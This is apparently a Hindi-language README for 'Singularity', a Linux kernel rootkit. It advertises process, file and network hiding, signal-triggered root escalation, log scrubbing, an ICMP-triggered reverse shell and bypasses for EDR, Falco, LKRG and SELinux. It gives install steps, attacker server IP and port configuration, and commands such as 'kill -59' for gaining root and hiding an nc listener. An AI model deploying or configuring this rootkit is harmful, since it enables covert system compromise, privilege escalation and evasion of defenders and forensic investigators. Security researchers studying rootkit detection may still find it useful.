सिंगुलैरिटी - स्टील्थी लिनक्स कर्नेल रूटकिट

"क्या हम फोरेंसिक को थोड़ा काम दें?"

यह प्रोजेक्ट मेरे लिए एक बहुत खास महिला से प्रेरित था: मोसिन्हा

सिंगुलैरिटी आधुनिक 6.x कर्नेल के लिए डिज़ाइन किया गया एक शक्तिशाली लिनक्स कर्नेल मॉड्यूल (LKM) रूटकिट है। यह ftrace बुनियादी ढांचे के माध्यम से उन्नत सिस्टम कॉल हुकिंग के द्वारा व्यापक स्टील्थ क्षमताएं प्रदान करता है।

पूर्ण शोध लेख (पुराना संस्करण): Singularity: A Final Boss Linux Kernel Rootkit

EDR बचाव केस स्टडी: Bypassing Elastic EDR with Singularity

POC वीडियो: Singularity बनाम eBPF सुरक्षा उपकरण: Singularity vs eBPF security tools

Singularity हुक के साथ eBPF सुरक्षा को तोड़ना: Breaking eBPF

सिंगुलैरिटी क्या है?

सिंगुलैरिटी एक परिष्कृत रूटकिट है जो कर्नेल स्तर पर काम करता है, प्रदान करता है:

• प्रक्रिया छुपाना: किसी भी प्रक्रिया को सिस्टम से पूरी तरह अदृश्य बनाएं
• फ़ाइल और निर्देशिका छुपाना: पैटर्न मिलान का उपयोग करके फ़ाइलों को छिपाएं
• नेटवर्क स्टील्थ: TCP/UDP कनेक्शन, पोर्ट और conntrack प्रविष्टियाँ छिपाएं
• विशेषाधिकार वृद्धि: सिग्नल-आधारित तत्काल रूट एक्सेस
• लॉग सैनेटाइज़ेशन: वास्तविक समय में कर्नेल लॉग और सिस्टम जर्नल को फ़िल्टर करें
• स्वयं-छुपाना: मॉड्यूल सूची और सिस्टम निगरानी से स्वयं को हटाएं
• रिमोट एक्सेस: ICMP-ट्रिगर्ड रिवर्स शेल जो स्वचालित रूप से छिपता है
• एंटी-डिटेक्शन: eBPF-आधारित रनटाइम सुरक्षा उपकरणों (Falco, Tracee) से बचें, Linux Kernel Runtime Guard (LKRG) को बायपास करें, और io_uring बायपास प्रयासों को रोकें
• ऑडिट बचाव: नेटलिंक स्तर पर छिपी प्रक्रियाओं के लिए ऑडिट संदेशों को सांख्यिकी ट्रैकिंग और सॉकेट इनोड फ़िल्टरिंग के साथ छोड़ें
• मेमोरी फोरेंसिक बचाव: /proc/kcore, /proc/kallsyms, /proc/vmallocinfo को फ़िल्टर करें
• Cgroup फ़िल्टरिंग: cgroup.procs से छिपे PID को फ़िल्टर करें
• Syslog बचाव: कर्नेल रिंग बफ़र एक्सेस klogctl() को फ़िल्टर करने के लिए do_syslog को हुक करें
• Debugfs बचाव: debugfs जैसे टूल्स के आउटपुट को फ़िल्टर करें जो रॉ ब्लॉक डिवाइस पढ़ते हैं
• Conntrack फ़िल्टरिंग: /proc/net/nf_conntrack और नेटलिंक SOCK_DIAG/NETFILTER क्वेरी से कनेक्शन छिपाएं
• SELinux बचाव: ICMP ट्रिगर पर स्वचालित SELinux एनफोर्सिंग मोड बायपास
• LKRG बायपास: Linux Kernel Runtime Guard पहचान तंत्र से बचें
• eBPF सुरक्षा बायपास: eBPF-आधारित रनटाइम सुरक्षा उपकरणों (Falco, Tracee) से प्रक्रियाओं को छिपाएं

विशेषताएँ

• सिग्नल-आधारित विशेषाधिकार उन्नयन (kill -59)
• /proc और निगरानी उपकरणों से पूर्ण प्रक्रिया छुपाना
• फ़ाइलों और निर्देशिकाओं के लिए पैटर्न-आधारित फ़ाइलसिस्टम छुपाना
• netstat, ss, conntrack और पैकेट विश्लेषकों से नेटवर्क कनेक्शन छुपाना
• उन्नत नेटलिंक फ़िल्टरिंग (SOCK_DIAG, NETFILTER/conntrack संदेश)
• dmesg, journalctl और klogctl के लिए वास्तविक समय कर्नेल लॉग फ़िल्टरिंग
• lsmod और /sys/module से मॉड्यूल स्व-छुपाना
• स्वचालित कर्नेल टेंट फ्लैग सामान्यीकरण
• eBPF-आधारित पहचान को रोकने के लिए BPF डेटा फ़िल्टरिंग
• एसिंक्रोनस I/O बायपास के खिलाफ io_uring सुरक्षा
• कर्नेल संदेशों और सिस्टम लॉग के लिए लॉग मास्किंग
• मानक रूटकिट डिटेक्टरों (unhide, chkrootkit, rkhunter) से बचाव
• ट्रेसपॉइंट हुक के माध्यम से स्वचालित चाइल्ड प्रक्रिया ट्रैकिंग और छुपाना
• बहु-आर्किटेक्चर समर्थन (x64 + ia32)
• रॉ सॉकेट सुरक्षा के साथ नेटवर्क पैकेट-स्तरीय फ़िल्टरिंग
• सभी फ़ाइल I/O वेरिएंट्स (read, write, splice, sendfile, tee, copy_file_range) के खिलाफ सुरक्षा
• auditd पहचान से बचने के लिए सांख्यिकी ट्रैकिंग के साथ नेटलिंक-स्तरीय ऑडिट संदेश फ़िल्टरिंग
• व्यापक नेटवर्क छुपाने के लिए सॉकेट इनोड ट्रैकिंग
• /sys/fs/cgroup/*/cgroup.procs के माध्यम से पहचान को रोकने के लिए Cgroup PID फ़िल्टरिंग
• PID गणना को रोकने के लिए TaskStats नेटलिंक ब्लॉकिंग
• मेमोरी फोरेंसिक टूल्स (Volatility, crash, gdb) से बचने के लिए /proc/kcore फ़िल्टरिंग
• klogctl() को फ़िल्टर करने और कर्नेल रिंग बफ़र लीक को रोकने के लिए do_syslog हुक
• debugfs और समान डिस्क फोरेंसिक टूल्स से बचने के लिए ब्लॉक डिवाइस आउटपुट फ़िल्टरिंग
• write हुक के माध्यम से journalctl -k आउटपुट फ़िल्टरिंग
• ICMP-ट्रिगर्ड शेल के लिए SELinux एनफोर्सिंग मोड बायपास क्षमता
• छिपी प्रक्रियाओं के लिए LKRG अखंडता जांच बायपास
• BPF रिंगबफ़र और perf इवेंट इंटरसेप्शन के माध्यम से Falco ईवेंट छुपाना

स्थापना

पूर्वापेक्षाएँ

• Linux kernel 6.x
• आपके चल रहे कर्नेल के लिए कर्नेल हेडर
• GCC और Make
• रूट एक्सेस

त्वरित स्थापना```bash

cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..

बस इतना ही। मॉड्यूल स्वचालित रूप से:
- lsmod, /proc/modules, /sys/module से खुद को छिपाता है
- कर्नेल टेंट फ़्लैग्स को साफ़ करता है
- dmesg, journalctl -k, klogctl से संवेदनशील स्ट्रिंग्स को फ़िल्टर करता है
- आपके छिपे हुए फ़ाइलों और प्रक्रियाओं की सुरक्षा शुरू करता है

### महत्वपूर्ण नोट्स

**लोड करने के बाद मॉड्यूल स्वचालिक रूप से खुद को छिपा लेता है**

**कोई अनलोड सुविधा नहीं है - हटाने के लिए रीबूट आवश्यक है**

**पहले वीएम में परीक्षण करें - पुनरारंभ किए बिना हटाया नहीं जा सकता**

## कॉन्फ़िगरेशन

### अपना सर्वर IP और पोर्ट सेट करें

**`include/core.h` को संपादित करें:**```c
#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

संपादित करें modules/icmp.c:```c #define SRV_PORT "8081" // Change this to your desired port

**संपादित करें `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081  // Must match SRV_PORT

modules/hiding_tcp.c को संपादित करें:```c #define PORT 8081 // Must match SRV_PORT

**महत्वपूर्ण**: उपयुक्त नेटवर्क छिपाने और ICMP रिवर्स शेल कार्यक्षमता के लिए सभी पोर्ट परिभाषाएँ मेल खानी चाहिए।

## उपयोग

### प्रक्रियाएँ छिपाएँ```bash
# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

Process will be invisible to ps, top, htop, /proc, and all monitoring tools. All child processes are automatically tracked and hidden.

फ़ाइलें और निर्देशिकाएँ छिपाएँ

आपके कॉन्फ़िगर किए गए पैटर्न से मेल खाने वाली फ़ाइलें स्वचालित रूप से छिप जाती हैं:```bash mkdir singularity echo "secret" > singularity/data.txt

Invisible to ls, find, locate

ls -la | grep singularity

(no output)

But you can still access it

cat singularity/data.txt

secret

cd is blocked for security

cd singularity

bash: cd: singularity: No such file or directory

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>

### रूट बनें

**सिग्नल-आधारित विधि:**```bash
kill -59 $$
id  # uid=0(root)

नेटवर्क कनेक्शन छुपाएँ

आपके कॉन्फ़िगर किए गए पोर्ट (डिफ़ॉल्ट: 8081) पर कनेक्शन स्वचालित रूप से छिपाए जाते हैं:```bash nc -lvnp 8081

Invisible to all monitoring

ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)

Even advanced netlink queries are filtered

ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)

Packets are dropped at raw socket level (tpacket_rcv) and hidden from:
- /proc/net/* interfaces (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- Netlink SOCK_DIAG queries (used by ss, lsof)
- Netlink NETFILTER/conntrack messages (used by conntrack tool)